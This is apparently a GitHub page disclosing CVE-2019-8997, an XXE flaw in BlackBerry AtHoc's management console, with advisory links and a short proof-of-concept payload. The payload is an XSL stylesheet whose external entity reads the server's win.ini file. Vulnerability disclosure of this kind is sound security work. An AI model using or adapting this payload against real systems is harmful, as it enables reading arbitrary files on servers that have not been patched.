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nxkennedy / CVE-2019-8997

An XML External Entity Injection (XXE) vulnerability in the Management System (console) of BlackBerry AtHoc versions earlier than 7.6 HF-567 could allow an attacker to potentially read arbitrary local files from the application server or make requests on the network by entering maliciously crafted XML in an existing field.

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CVE-2019-8997

An XML External Entity Injection (XXE) vulnerability in the Management System (console) of BlackBerry AtHoc versions earlier than 7.6 HF-567 could allow an attacker to potentially read arbitrary local files from the application server or make requests on the network by entering maliciously crafted XML in an existing field.

Reported By

Nolan B. Kennedy (nxkennedy)

Security Advisory

http://support.blackberry.com/kb/articleDetail?articleNumber=000047227
https://nvd.nist.gov/vuln/detail/CVE-2019-8997

Blog Post

https://www.nolanbkennedy.com/feed/xxe-vulnerability-blackberry-athoc
https://www.mindpointgroup.com/blog/pen-test/xxe-vulnerability-in-blackberry-athoc-networked-crisis-communication-platform/

Proof of Concept Exploit

<!DOCTYPE doc [
<!ELEMENT doc ANY > 
<!ENTITY foo SYSTEM "file:///c:/windows/win.ini">
]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0">
<xsl:output method="html" />
<xsl:template match="/">

<doc>&foo;</doc>

<head></head>
<body style="margin: 0; padding: 0;" oncontextmenu="return
false;"></body>
</xsl:template>
</xsl:stylesheet>

About

An XML External Entity Injection (XXE) vulnerability in the Management System (console) of BlackBerry AtHoc versions earlier than 7.6 HF-567 could allow an attacker to potentially read arbitrary local files from the application server or make requests on the network by entering maliciously crafted XML in an existing field.